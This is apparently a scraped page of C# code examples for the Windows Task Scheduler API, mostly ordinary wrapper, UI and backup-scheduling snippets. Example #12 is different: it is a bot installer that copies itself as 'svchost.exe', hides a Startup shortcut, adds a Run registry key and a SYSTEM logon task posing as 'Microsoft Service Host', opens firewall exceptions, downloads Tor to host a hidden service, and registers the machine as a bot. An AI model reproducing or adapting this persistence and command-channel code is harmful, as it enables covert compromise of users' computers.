Example #1
0
 public Task AddTask(string path, Trigger trigger, Action action, string UserId = null, string Password = null, TaskLogonType LogonType = (TaskLogonType)3)
 {
     var definition = NewTask();
     definition.Triggers.Add(trigger);
     definition.Actions.Add(action);
     return RootFolder.RegisterTaskDefinition(path, definition, TaskCreation.CreateOrUpdate, UserId, Password, LogonType, null);
 }
Example #2
0
        internal ScheduledTaskEntry(IRegisteredTask task)
        {
            SecurityDescriptor = SecurityDescriptor.Parse(task.GetSecurityDescriptor((int)SecurityInformation.AllBasic), false).GetResultOrDefault();
            Path    = task.Path;
            Enabled = task.Enabled;
            Xml     = task.Xml;
            var definition = task.Definition;
            var settings   = definition.Settings;

            Hidden           = settings.Hidden;
            AllowDemandStart = settings.AllowDemandStart;
            var principal = definition.Principal;

            if (principal.RunLevel == _TASK_RUNLEVEL.TASK_RUNLEVEL_HIGHEST)
            {
                RunLevel = TaskRunLevel.Highest;
            }

            List <string> privs = new List <string>();

            if (principal is IPrincipal2 prin2)
            {
                privs.AddRange(Enumerable.Range(0, prin2.RequiredPrivilegeCount).Select(i => prin2.RequiredPrivilege[i]));
                ProcessTokenSid = (TaskProcessTokenSid)(int)prin2.ProcessTokenSidType;
            }
            RequiredPrivilege = privs.AsReadOnly();

            TaskLogonType logon_type     = TaskLogonType.None;
            string        principal_name = string.Empty;

            switch (principal.LogonType)
            {
            case _TASK_LOGON_TYPE.TASK_LOGON_GROUP:
                logon_type     = TaskLogonType.Group;
                principal_name = principal.GroupId;
                break;

            case _TASK_LOGON_TYPE.TASK_LOGON_INTERACTIVE_TOKEN:
            case _TASK_LOGON_TYPE.TASK_LOGON_PASSWORD:
            case _TASK_LOGON_TYPE.TASK_LOGON_INTERACTIVE_TOKEN_OR_PASSWORD:
                logon_type     = TaskLogonType.User;
                principal_name = principal.UserId;
                break;

            case _TASK_LOGON_TYPE.TASK_LOGON_SERVICE_ACCOUNT:
                logon_type     = TaskLogonType.ServiceAccount;
                principal_name = principal.UserId;
                break;

            case _TASK_LOGON_TYPE.TASK_LOGON_S4U:
                logon_type     = TaskLogonType.S4U;
                principal_name = principal.UserId;
                break;
            }
            LogonType          = logon_type;
            Principal          = principal_name;
            Actions            = definition.Actions.Cast <IAction>().Select(a => new ScheduledTaskAction(a)).ToList().AsReadOnly();
            HasActionArguments = Actions.Any(a => a.HasArguments);
            Triggers           = definition.Triggers.Cast <ITrigger>().Select(ScheduledTaskTrigger.Create).ToList().AsReadOnly();
        }
Example #3
0
 /// <summary>
 ///     Registers (creates) a new task in the folder using XML to define the task. Not available for Task Scheduler 1.0.
 /// </summary>
 /// <param name="Path"> The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. </param>
 /// <param name="XmlText"> An XML-formatted definition of the task. </param>
 /// <param name="createType">
 ///     A union of <see cref="TaskCreation" /> flags.
 /// </param>
 /// <param name="UserId"> The user credentials used to register the task. </param>
 /// <param name="password"> The password for the userId used to register the task. </param>
 /// <param name="LogonType">
 ///     A <see cref="TaskLogonType" /> value that defines what logon technique is used to run the registered task.
 /// </param>
 /// <param name="sddl"> The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. </param>
 /// <returns>
 ///     A <see cref="Task" /> instance that represents the new task.
 /// </returns>
 public Task RegisterTask(string Path, string XmlText, TaskCreation createType, string UserId, string password,
                          TaskLogonType LogonType, string sddl)
 {
     if (v2Folder != null)
     {
         return(new Task(TaskService, v2Folder.RegisterTask(Path, XmlText, (int)createType, UserId, password, LogonType, sddl)));
     }
     throw new NotV1SupportedException();
 }
Example #4
0
 public IDev2Task RegisterTaskDefinition(string Path, IDev2TaskDefinition definition, TaskCreation createType,
                                         string UserId,
                                         string password, TaskLogonType LogonType,
                                         string sddl = null)
 {
     return
         (_taskServiceConvertorFactory.CreateTask(Instance.RegisterTaskDefinition(Path, definition.Instance,
                                                                                  createType, UserId, password,
                                                                                  LogonType, sddl)));
 }
Example #5
0
        /// <summary>
        ///     Creates a new task, registers the taks, and returns the instance.
        /// </summary>
        /// <param name="path"> The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. </param>
        /// <param name="trigger">
        ///     The <see cref="Trigger" /> to determine when to run the task.
        /// </param>
        /// <param name="action">
        ///     The <see cref="Action" /> to determine what happens when the task is triggered.
        /// </param>
        /// <param name="UserId"> The user credentials used to register the task. </param>
        /// <param name="Password"> The password for the userId used to register the task. </param>
        /// <param name="LogonType">
        ///     A <see cref="TaskLogonType" /> value that defines what logon technique is used to run the registered task.
        /// </param>
        /// <returns>
        ///     A <see cref="Task" /> instance of the registered task.
        /// </returns>
        public Task AddTask(string path, Trigger trigger, Action action, string UserId = null, string Password = null,
                            TaskLogonType LogonType = TaskLogonType.InteractiveToken)
        {
            var td = NewTask();

            // Create a trigger that will fire the task at a specific date and time
            td.Triggers.Add(trigger);

            // Create an action that will launch Notepad whenever the trigger fires
            td.Actions.Add(action);

            // Register the task in the root folder
            return(RootFolder.RegisterTaskDefinition(path, td, TaskCreation.CreateOrUpdate, UserId, Password, LogonType));
        }
            public TaskSchedulerEntry(IRegisteredTask task)
            {
                SecurityDescriptor = task.GetSecurityDescriptor((int)SecurityInformation.AllBasic);
                Path    = task.Path;
                Enabled = task.Enabled;
                Xml     = task.Xml;
                var definition = task.Definition;
                var settings   = definition.Settings;

                Hidden           = settings.Hidden;
                AllowDemandStart = settings.AllowDemandStart;
                var principal = definition.Principal;

                if (principal.RunLevel == _TASK_RUNLEVEL.TASK_RUNLEVEL_HIGHEST)
                {
                    RunLevel = TaskRunLevel.Highest;
                }

                TaskLogonType logon_type     = TaskLogonType.None;
                string        principal_name = string.Empty;

                switch (principal.LogonType)
                {
                case _TASK_LOGON_TYPE.TASK_LOGON_GROUP:
                    logon_type     = TaskLogonType.Group;
                    principal_name = principal.GroupId;
                    break;

                case _TASK_LOGON_TYPE.TASK_LOGON_INTERACTIVE_TOKEN:
                case _TASK_LOGON_TYPE.TASK_LOGON_PASSWORD:
                case _TASK_LOGON_TYPE.TASK_LOGON_INTERACTIVE_TOKEN_OR_PASSWORD:
                    logon_type     = TaskLogonType.User;
                    principal_name = principal.UserId;
                    break;

                case _TASK_LOGON_TYPE.TASK_LOGON_SERVICE_ACCOUNT:
                    logon_type     = TaskLogonType.ServiceAccount;
                    principal_name = principal.UserId;
                    break;

                case _TASK_LOGON_TYPE.TASK_LOGON_S4U:
                    logon_type     = TaskLogonType.S4U;
                    principal_name = principal.UserId;
                    break;
                }
                LogonType = logon_type;
                Principal = principal_name;
                Actions   = definition.Actions.Cast <IAction>().Select(a => new ScheduledTaskAction(a)).ToList().AsReadOnly();
            }
Example #7
0
// ReSharper disable ParameterHidesMember
// ReSharper disable InconsistentNaming
        public IDev2Task RegisterTaskDefinition(string Path, IDev2TaskDefinition definition, TaskCreation createType,
// ReSharper restore InconsistentNaming
// ReSharper restore ParameterHidesMember
// ReSharper disable InconsistentNaming
                                                string UserId,
// ReSharper restore InconsistentNaming
// ReSharper disable InconsistentNaming
                                                string password = null, TaskLogonType LogonType = TaskLogonType.S4U,
// ReSharper restore InconsistentNaming
                                                string sddl = null)
        {
            return
                (_taskServiceConvertorFactory.CreateTask(Instance.RegisterTaskDefinition(Path, definition.Instance,
                                                                                         createType, UserId, password,
                                                                                         LogonType, sddl)));
        }
        public static void enableTriggers(string machineName, string taskName, SecurityOptions securityOptions, bool enable)
        {
            using (TaskService ts = new TaskService(machineName, securityOptions.RunAsUser, Environment.UserDomainName, securityOptions.Password))
            {
                Task task = getTask(taskName, ts);
                if (task != null)
                {
                    TaskDefinition    def            = task.Definition;
                    TriggerCollection triggers       = def.Triggers;
                    List <Trigger>    newTriggerList = new List <Trigger>();
                    foreach (Trigger trigger in triggers)
                    {
                        Trigger newTrigger = trigger.Clone() as Trigger;
                        newTrigger.Enabled = enable;
                        newTriggerList.Add(newTrigger);
                    }

                    def.Triggers.Clear();
                    def.Triggers.AddRange(newTriggerList);

                    if (securityOptions.HighestPrivilege)
                    {
                        def.Principal.RunLevel = TaskRunLevel.Highest;
                    }
                    else
                    {
                        def.Principal.RunLevel = TaskRunLevel.LUA;
                    }

                    TaskLogonType logonType = TaskLogonType.S4U;
                    if (securityOptions.StorePassword)
                    {
                        logonType = TaskLogonType.Password;
                    }

                    string runAsUser = String.Concat(Environment.UserDomainName, "\\", securityOptions.RunAsUser);

                    //using (TaskService ts = new TaskService(machineName, securityOptions.RunAsUser, machineName, securityOptions.Password))
                    {
                        TaskFolder tf = getTaskFolder(ts);

                        tf.RegisterTaskDefinition(taskName, def, TaskCreation.Update, runAsUser,
                                                  securityOptions.Password, logonType);
                    }
                }
            }
        }
        public static void modifyTask(string machineName, string taskName, SecurityOptions securityOptions,
                                      List <Trigger> triggerList, List <Microsoft.Win32.TaskScheduler.Action> actionList)
        {
            using (TaskService ts = new TaskService(machineName, securityOptions.RunAsUser, Environment.UserDomainName, securityOptions.Password))
            {
                Task task = getTask(taskName, ts);
                if (task != null)
                {
                    TaskDefinition def = task.Definition;
                    def.Triggers.Clear();
                    def.Triggers.AddRange(triggerList);
                    def.Actions.Clear();
                    foreach (Microsoft.Win32.TaskScheduler.Action action in actionList)
                    {
                        def.Actions.Add(action);
                    }

                    if (securityOptions.HighestPrivilege)
                    {
                        def.Principal.RunLevel = TaskRunLevel.Highest;
                    }
                    else
                    {
                        def.Principal.RunLevel = TaskRunLevel.LUA;
                    }

                    TaskLogonType logonType = TaskLogonType.InteractiveToken;

                    string runAsUser = String.Concat(Environment.UserDomainName, "\\", securityOptions.RunAsUser);

                    TaskFolder tf = getTaskFolder(ts);
                    tf.RegisterTaskDefinition(taskName, def, TaskCreation.Update, runAsUser,
                                              securityOptions.Password, logonType);
                }
            }
        }
		private void SetUserControls(TaskLogonType logonType)
		{
			switch (logonType)
			{
				case TaskLogonType.InteractiveToken:
					this.flagRunOnlyWhenUserIsLoggedOn = true;
					this.flagExecutorIsServiceAccount = false;
					this.flagExecutorIsGroup = false;
					break;
				case TaskLogonType.Group:
					this.flagRunOnlyWhenUserIsLoggedOn = true;
					this.flagExecutorIsServiceAccount = false;
					this.flagExecutorIsGroup = true;
					break;
				case TaskLogonType.ServiceAccount:
					this.flagRunOnlyWhenUserIsLoggedOn = false;
					this.flagExecutorIsServiceAccount = true;
					this.flagExecutorIsGroup = false;
					break;
				default:
					this.flagRunOnlyWhenUserIsLoggedOn = false;
					this.flagExecutorIsServiceAccount = false;
					this.flagExecutorIsGroup = false;
					break;
			}

			if (this.flagExecutorIsServiceAccount)
			{
				taskLoggedOnRadio.Enabled = false;
				taskLoggedOptionalRadio.Enabled = false;
				taskLocalOnlyCheck.Enabled = false;
			}
			else if (this.flagExecutorIsGroup)
			{
				taskLoggedOnRadio.Enabled = true;
				taskLoggedOptionalRadio.Enabled = false;
				taskLocalOnlyCheck.Enabled = false;
			}
			else if (this.flagRunOnlyWhenUserIsLoggedOn)
			{
				taskLoggedOnRadio.Enabled = true;
				taskLoggedOptionalRadio.Enabled = true;
				taskLocalOnlyCheck.Enabled = false;
			}
			else
			{
				taskLoggedOnRadio.Enabled = true;
				taskLoggedOptionalRadio.Enabled = true;
				taskLocalOnlyCheck.Enabled = true && (task == null || IsV2);
			}

			taskLoggedOnRadio.Checked = flagRunOnlyWhenUserIsLoggedOn;
			taskLoggedOptionalRadio.Checked = !flagRunOnlyWhenUserIsLoggedOn;
			taskLocalOnlyCheck.Checked = !flagRunOnlyWhenUserIsLoggedOn && logonType == TaskLogonType.S4U;

			string user = td == null ? null : td.Principal.ToString();
			if (string.IsNullOrEmpty(user))
				user = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
			taskPrincipalText.Text = user;
		}
Example #11
0
 /// <summary>
 /// Registers (creates) a new task in the folder using XML to define the task. Not available for Task Scheduler 1.0.
 /// </summary>
 /// <param name="Path">The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path.</param>
 /// <param name="XmlText">An XML-formatted definition of the task.</param>
 /// <param name="createType">A union of <see cref="TaskCreation"/> flags.</param>
 /// <param name="UserId">The user credentials used to register the task.</param>
 /// <param name="password">The password for the userId used to register the task.</param>
 /// <param name="LogonType">A <see cref="TaskLogonType"/> value that defines what logon technique is used to run the registered task.</param>
 /// <param name="sddl">The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task.</param>
 /// <returns>A <see cref="Task"/> instance that represents the new task.</returns>
 public Task RegisterTask(string Path, string XmlText, TaskCreation createType, string UserId, string password, TaskLogonType LogonType, string sddl)
 {
     if (v2Folder != null)
         return new Task(this.TaskService, v2Folder.RegisterTask(Path, XmlText, (int)createType, UserId, password, LogonType, sddl));
     throw new NotV1SupportedException();
 }
Example #12
0
        public void installMeth()
        {
            if (System.IO.File.Exists(System.Windows.Forms.Application.StartupPath + "\\installed.txt") == false)
            {
                string si = Application.ExecutablePath.ToString();

                try
                {
                    System.IO.Directory.CreateDirectory(FluxGlobal.sInstallDirectory);
                }
                catch (Exception ex) { }

                try
                {
                    System.IO.File.Copy(si, FluxGlobal.sInstallDirectory + "\\svchost.exe");
                }
                catch (Exception ex)
                {
                    Console.WriteLine(ex.ToString());
                }

                try
                {
                    System.IO.File.WriteAllText(FluxGlobal.sInstallDirectory + "\\installed.txt", FluxGlobal.dVersion.ToString());
                }
                catch (Exception ex) { }

                try
                {
                    string deskDir = Environment.GetFolderPath(Environment.SpecialFolder.Startup);

                    if (File.Exists(deskDir + "\\ServiceHost.url") == false)
                    {
                        using (StreamWriter writer = new StreamWriter(deskDir + "\\ServiceHost.url"))
                        {
                            string app = FluxGlobal.sInstallDirectory + "\\svchost.exe";
                            writer.WriteLine("[InternetShortcut]");
                            writer.WriteLine("URL=file:///" + app);
                            writer.WriteLine("IconIndex=0");
                            string icon = app.Replace('\\', '/');
                            writer.WriteLine("IconFile=" + icon);
                            writer.Flush();
                        }

                        System.IO.File.SetAttributes(deskDir + "\\ServiceHost.url", FileAttributes.Hidden);
                    }
                }
                catch (Exception ex)
                {
                    Console.WriteLine(ex.ToString());
                }

                // Try Registry Last incase we get popped
                try
                {
                    RegistryKey add = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                    add.SetValue("System Service", "\"" + FluxGlobal.sInstallDirectory + "\\svchost.exe" + "\"");
                }
                catch (Exception ex)
                {
                    Console.WriteLine(ex.ToString());
                }

                try
                {
                    // Get the service on the local machine
                    using (TaskService ts = new TaskService())
                    {
                        TaskLogonType logonType = TaskLogonType.ServiceAccount;

                        string userId = "SYSTEM"; // string.Concat(Environment.UserDomainName, "\\", Environment.UserName);

                        // Create a new task definition and assign properties
                        TaskDefinition td = ts.NewTask();
                        //td.Settings.ExecutionTimeLimit = TimeSpan.FromMinutes(15);
                        //Version v = new Version("_v2");
                        //if (ts.HighestSupportedVersion == v)
                        ////{
                        td.Principal.RunLevel  = TaskRunLevel.LUA;
                        td.Principal.LogonType = logonType;

                        td.RegistrationInfo.Description = "Microsoft Service Host";
                        td.RegistrationInfo.Author      = "SYSTEM";
                        td.Principal.DisplayName        = "Service Host";

                        //}

                        LogonTrigger lt = new LogonTrigger();
                        lt.Enabled = true;

                        BootTrigger bt = new BootTrigger();
                        bt.Delay = TimeSpan.FromMinutes(5);


                        // Create a trigger that will fire the task at this time every other day
                        td.Triggers.Add(lt);

                        // Create an action that will launch Notepad whenever the trigger fires
                        td.Actions.Add(new ExecAction(FluxGlobal.sInstallDirectory + "\\svchost.exe"));

                        try
                        {
                            ts.RootFolder.RegisterTaskDefinition("ServiceHost", td, TaskCreation.CreateOrUpdate, "SYSTEM", null, TaskLogonType.ServiceAccount);
                        }
                        catch (Exception ex2)
                        {
                            Console.WriteLine(ex2.ToString());
                        }
                    }
                }
                catch (Exception ex) { Console.WriteLine(ex.ToString()); }

                string torDirectory = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\tor\\";

                try
                {
                    ProcessStartInfo procStartInfo = new ProcessStartInfo("c:\\windows\\system32\\netsh.exe", "firewall add allowedprogram " + torDirectory + "\\svchost.exe" + " ServiceHost ENABLE");
                    Process          proc          = new Process();
                    proc.StartInfo = procStartInfo;
                    proc.StartInfo.UseShellExecute = false;
                    proc.StartInfo.CreateNoWindow  = true;
                    proc.StartInfo.WindowStyle     = ProcessWindowStyle.Hidden;
                    proc.Start();
                }
                catch (Exception ex)
                {
                }

                try
                {
                    ProcessStartInfo procStartInfo = new ProcessStartInfo("c:\\windows\\system32\\netsh.exe", "firewall add allowedprogram " + torDirectory + "\\tor\\tor.exe" + " TorHost ENABLE");
                    Process          proc          = new Process();
                    proc.StartInfo = procStartInfo;
                    proc.StartInfo.UseShellExecute = false;
                    proc.StartInfo.CreateNoWindow  = true;
                    proc.StartInfo.WindowStyle     = ProcessWindowStyle.Hidden;
                    proc.Start();
                }
                catch (Exception ex)
                {
                }

                string sDownloadPath = FluxGlobal.sInstallDirectory + "\\Tor\\";

                if (System.IO.Directory.Exists(sDownloadPath) == false)
                {
                    System.IO.Directory.CreateDirectory(sDownloadPath);
                }

                sDownloadPath = sDownloadPath + "tor.zip";

                if (System.IO.File.Exists(sDownloadPath.Replace("tor.zip", "tor.exe")) == false)
                {
                    //if(System.IO.Directory.Exists(torDirectory) == false)
                    //{
                    //    System.IO.Directory.CreateDirectory(torDirectory);
                    //}

                    bool bGoodDownload      = false;
                    System.Net.WebClient wc = new System.Net.WebClient();

                    while (bGoodDownload == false && alTorURLs.Count > 0)
                    {
                        string sUrl = alTorURLs[0].ToString();
                        alTorURLs.RemoveAt(0);

                        try
                        {
                            wc.DownloadFile(sUrl, sDownloadPath);
                            bGoodDownload = true;
                        }
                        catch { }

                        if (bGoodDownload == true)
                        {
                            break;
                        }
                    }

                    try
                    {
                        UnZip(sDownloadPath, sDownloadPath.Replace("tor.zip", ""));

                        System.IO.Directory.Move(sDownloadPath.Replace("tor.zip", "") + "\\1-master", torDirectory);

                        string torrc = "SocksPort 9050\r\nSocksBindAddress 127.0.0.1\r\nAllowUnverifiedNodes middle,rendezvous\r\nDataDirectory " + torDirectory.Replace("\\", "/") + "\r\nHiddenServiceDir " + torDirectory.Replace("\\", "/") + "/hidden_service/\r\nHiddenServicePort 57480 127.0.0.1:41375";
                        System.IO.File.WriteAllText(torDirectory + "torrc", torrc);

                        try
                        {
                            System.Diagnostics.ProcessStartInfo psi = new System.Diagnostics.ProcessStartInfo(torDirectory + "\\tor.exe", "--defaults-torrc \"" + torDirectory + "\\torrc\"");
                            psi.UseShellExecute        = false;
                            psi.WindowStyle            = System.Diagnostics.ProcessWindowStyle.Hidden;
                            psi.CreateNoWindow         = true;
                            psi.RedirectStandardError  = true;
                            psi.RedirectStandardOutput = true;
                            psi.RedirectStandardInput  = true;

                            System.Diagnostics.Process serviceProcess = new System.Diagnostics.Process();
                            serviceProcess.StartInfo = psi;
                            serviceProcess.Start();
                            System.Threading.Thread.Sleep(120000);
                            serviceProcess.Kill();
                        }
                        catch (Exception ex)
                        {
                        }

                        string sHiddenServiceAddress = System.IO.File.ReadAllText(torDirectory + "\\hidden_service\\hostname");

                        System.IO.File.WriteAllText(torDirectory + "torrc", torrc.Replace("57480", OnionToPort(sHiddenServiceAddress).ToString()));
                    }
                    catch (Exception ex)
                    {
                        Console.WriteLine(ex.ToString());
                    }
                }

                FluxApiClient.RegisterBot();
            }
        }
Example #13
0
 public IDev2Task RegisterTaskDefinition(string Path, IDev2TaskDefinition definition, TaskCreation createType,
                                         string UserId,
                                         string password, TaskLogonType LogonType) => RegisterTaskDefinition(Path, definition, createType, UserId, password, LogonType, null);
// ReSharper disable ParameterHidesMember
// ReSharper disable InconsistentNaming
        public IDev2Task RegisterTaskDefinition(string Path, IDev2TaskDefinition definition, TaskCreation createType,
// ReSharper restore InconsistentNaming
// ReSharper restore ParameterHidesMember
// ReSharper disable InconsistentNaming
            string UserId,
// ReSharper restore InconsistentNaming
// ReSharper disable InconsistentNaming
            string password = null, TaskLogonType LogonType = TaskLogonType.S4U,
// ReSharper restore InconsistentNaming
            string sddl = null)
        {
            return
                _taskServiceConvertorFactory.CreateTask(Instance.RegisterTaskDefinition(Path, definition.Instance,
                    createType, UserId, password,
                    LogonType, sddl));
        }
Example #15
0
        private void SchedulePlanExecution(Models.ISchedulablePlan plan, bool reschedule = false)
        {
            string taskName = BuildTaskName(plan);

            // Get the service on the local machine
            using (TaskService ts = new TaskService())
            {
                // Find if there's already a task for the informed plan.
                Task existingTask = ts.FindTask(taskName, false);

                if (existingTask != null)
                {
                    // Check if the plan changed after the existing task was scheduled.
                    // It's important to convert the DateTime's to the same TimeZone before comparing them.
                    bool changed = plan.UpdatedAt.ToLocalTime() > existingTask.Definition.RegistrationInfo.Date.ToLocalTime();
                    if (!changed)
                    {
                        return;
                    }

                    if (plan.IsRunManually)
                    {
                        Info("{0} is already scheduled - Deleting schedule because it's now Manual.", taskName);

                        // Remove the task we found.
                        ts.RootFolder.DeleteTask(taskName);
                        return;
                    }
                    else
                    {
                        Info("{0} is already scheduled - {1}", taskName,
                             reschedule ? "rescheduling..." : "rescheduling was not requested");

                        // If we're not rescheduling, stop now.
                        if (!reschedule)
                        {
                            return;
                        }

                        // Do NOT delete the task we found - it will be updated by `RegisterTaskDefinition`.
                        //ts.RootFolder.DeleteTask(taskName);
                    }
                }
                else
                {
                    if (plan.IsRunManually)
                    {
                        // Do not schedule anything.
                        return;
                    }
                }

                Info("Scheduling task {0} (plan last changed at {1})", taskName,
                     plan.UpdatedAt.ToLocalTime().ToString("yyyy-MM-ddTHH:mm:ssK"));

                // If the task doesn't exist yet, create a new task definition and assign properties
                // This task will require Task Scheduler 2.0 (Windows >= Vista or Server >= 2008) or newer.
                TaskDefinition td = existingTask != null
                                        ? existingTask.Definition
                                        : ts.NewTask();

                // Run this task even if the user is NOT logged on.
                if (td.LowestSupportedVersion == TaskCompatibility.V1)
                {
                    td.Settings.RunOnlyIfLoggedOn = false;
                }

                // When running this task, use the System user account, if we have elevated privileges.
                if (IsElevated)
                {
                    td.Principal.LogonType = TaskLogonType.InteractiveTokenOrPassword;
                }

                //td.Principal.RequiredPrivileges = new TaskPrincipalPrivilege[] {
                //	TaskPrincipalPrivilege.SeBackupPrivilege,
                //	TaskPrincipalPrivilege.SeRestorePrivilege,
                //	TaskPrincipalPrivilege.SeChangeNotifyPrivilege,
                //	TaskPrincipalPrivilege.SeCreateSymbolicLinkPrivilege,
                //	TaskPrincipalPrivilege.SeManageVolumePrivilege,
                //	TaskPrincipalPrivilege.SeCreateSymbolicLinkPrivilege,
                //};

                // Run with highest privileges, if we have elevated privileges.
                if (IsElevated)
                {
                    td.Principal.RunLevel = TaskRunLevel.Highest;
                }

                // If the task is not scheduled to run again, delete it after 24 hours -- This seem to require `EndBoundary` to be set.
                //td.Settings.DeleteExpiredTaskAfter = TimeSpan.FromHours(24);

                // Don't allow multipe instances of the task to run simultaneously.
                td.Settings.MultipleInstances = TaskInstancesPolicy.IgnoreNew;

                // Only run when a network is available.
                td.Settings.RunOnlyIfNetworkAvailable = true;

                td.RegistrationInfo.Author = string.Format(@"{0}\{1}", Environment.UserDomainName, Environment.UserName);

                // We identify the Scheduled task needs an update if this Date is older than `SchedulablePlan.UpdatedAt`.
                td.RegistrationInfo.Date = DateTime.UtcNow;

                string description = string.Format(
                    "This task was automatically {0} by the {1} service at {2}",
                    existingTask != null ? "updated" : "created",
                    typeof(Teltec.Everest.Scheduler.Service).Namespace,
                    td.RegistrationInfo.Date.ToLocalTime().ToString("yyyy-MM-ddTHH:mm:ssK"));
                td.RegistrationInfo.Description = description;

                // Create triggers to fire the task when planned.
                td.Triggers.Clear();
                td.Triggers.AddRange(BuildTriggers(plan));

                bool isBackup  = plan is Models.BackupPlan;
                bool isRestore = plan is Models.RestorePlan;
                if (!isBackup && !isRestore)
                {
                    throw new InvalidOperationException("Unhandled plan type");
                }

                // Create an action that will launch the PlanExecutor
                string planType = isBackup
                                        ? PlanTypeEnum.BACKUP.ToString().ToLowerInvariant()
                                        : isRestore
                                                ? PlanTypeEnum.RESTORE.ToString().ToLowerInvariant()
                                                : string.Empty;

                PlanExecutorEnv env = BuildPlanExecutorEnv(planType, plan.ScheduleParamId, false);
                td.Actions.Clear();
                td.Actions.Add(new ExecAction(env.Path, env.Arguments, env.Cwd));

                // Register the task in the root folder
                const string        username  = "******";
                const string        password  = null;
                const TaskLogonType logonType = TaskLogonType.ServiceAccount;
                try
                {
                    ts.RootFolder.RegisterTaskDefinition(taskName, td, TaskCreation.CreateOrUpdate, username, password, logonType);
                }
                catch (Exception ex)
                {
                    logger.Error("Failed to create/update scheduled task ({0}): {1}", taskName, ex.Message);
                }
            }
        }
Example #16
0
        public Task AddTask(string path, Trigger trigger, Action action, string UserId = null, string Password = null, TaskLogonType LogonType = (TaskLogonType)3)
        {
            var definition = NewTask();

            definition.Triggers.Add(trigger);
            definition.Actions.Add(action);
            return(RootFolder.RegisterTaskDefinition(path, definition, TaskCreation.CreateOrUpdate, UserId, Password, LogonType, null));
        }
Example #17
0
        /// <summary>
        /// Registers (creates) a task in a specified location using a <see cref="TaskDefinition" /> instance to define a task.
        /// </summary>
        /// <param name="path">The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path.</param>
        /// <param name="definition">The <see cref="TaskDefinition" /> of the registered task.</param>
        /// <param name="createType">A union of <see cref="TaskCreation" /> flags.</param>
        /// <param name="userId">The user credentials used to register the task.</param>
        /// <param name="password">The password for the userId used to register the task.</param>
        /// <param name="logonType">A <see cref="TaskLogonType" /> value that defines what logon technique is used to run the registered task.</param>
        /// <param name="sddl">The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task.</param>
        /// <returns>
        /// A <see cref="Task" /> instance that represents the new task. This will return <c>null</c> if <paramref name="createType"/> is set to <c>ValidateOnly</c> and there are no validation errors.
        /// </returns>
        /// <exception cref="System.ArgumentOutOfRangeException">
        /// Task names may not include any characters which are invalid for file names.
        /// or
        /// Task names ending with a period followed by three or fewer characters cannot be retrieved due to a bug in the native library.
        /// </exception>
        /// <exception cref="NotV1SupportedException">This LogonType is not supported on Task Scheduler 1.0.
        /// or
        /// Security settings are not available on Task Scheduler 1.0.
        /// or
        /// Registration triggers are not available on Task Scheduler 1.0.
        /// or
        /// XML validation not available on Task Scheduler 1.0.</exception>
        /// <remarks>This method is effectively the "Save" method for tasks. It takes a modified <c>TaskDefinition</c> instance and registers it in the folder defined by this <c>TaskFolder</c> instance. Optionally, you can use this method to override the user, password and logon type defined in the definition and supply security against the task.</remarks>
        /// <example>
        /// <para>This first example registers a simple task with a single trigger and action using the default security.</para>
        /// <code lang="cs"><![CDATA[
        /// // Create a new task definition for the local machine and assign properties
        /// TaskDefinition td = TaskService.Instance.NewTask();
        /// td.RegistrationInfo.Description = "Does something";
        ///
        /// // Add a trigger that, starting tomorrow, will fire every other week on Monday and Saturday
        /// td.Triggers.Add(new WeeklyTrigger(DaysOfTheWeek.Monday | DaysOfTheWeek.Saturday, 2));
        ///
        /// // Create an action that will launch Notepad whenever the trigger fires
        /// td.Actions.Add("notepad.exe", "c:\\test.log");
        ///
        /// // Register the task in the root folder of the local machine using the current user and the S4U logon type
        /// TaskService.Instance.RootFolder.RegisterTaskDefinition("Test", td);
        /// ]]></code>
        /// <para>This example registers that same task using the SYSTEM account.</para>
        /// <code lang="cs"><![CDATA[
        /// TaskService.Instance.RootFolder.RegisterTaskDefinition("TaskName", taskDefinition, TaskCreation.CreateOrUpdate, "SYSTEM", null, TaskLogonType.ServiceAccount);
        /// ]]></code>
        /// <para>This example registers that same task using a specific username and password along with a security definition.</para>
        /// <code lang="cs"><![CDATA[
        /// TaskService.Instance.RootFolder.RegisterTaskDefinition("TaskName", taskDefinition, TaskCreation.CreateOrUpdate, "userDomain\\userName", "userPassword", TaskLogonType.Password, @"O:BAG:DUD:(A;ID;0x1f019f;;;BA)(A;ID;0x1f019f;;;SY)(A;ID;FA;;;BA)(A;;FR;;;BU)");
        /// ]]></code></example>
        public Task RegisterTaskDefinition([NotNull] string path, [NotNull] TaskDefinition definition, TaskCreation createType, string userId, string password = null, TaskLogonType logonType = TaskLogonType.S4U, string sddl = null)
        {
            if (definition.Actions.Count < 1 || definition.Actions.Count > 32)
            {
                throw new ArgumentOutOfRangeException(nameof(definition.Actions), @"A task must be registered with at least one action and no more than 32 actions.");
            }

            userId = userId ?? definition.Principal.Account;
            if (userId == string.Empty)
            {
                userId = null;
            }
            User user = new User(userId);

            if (v2Folder != null)
            {
                definition.Actions.ConvertUnsupportedActions();
                if (logonType == TaskLogonType.ServiceAccount)
                {
                    if (string.IsNullOrEmpty(userId) || !user.IsServiceAccount)
                    {
                        throw new ArgumentException(@"A valid system account name must be supplied for TaskLogonType.ServiceAccount. Valid entries are ""NT AUTHORITY\SYSTEM"", ""SYSTEM"", ""NT AUTHORITY\LOCALSERVICE"", or ""NT AUTHORITY\NETWORKSERVICE"".", nameof(userId));
                    }
                    if (password != null)
                    {
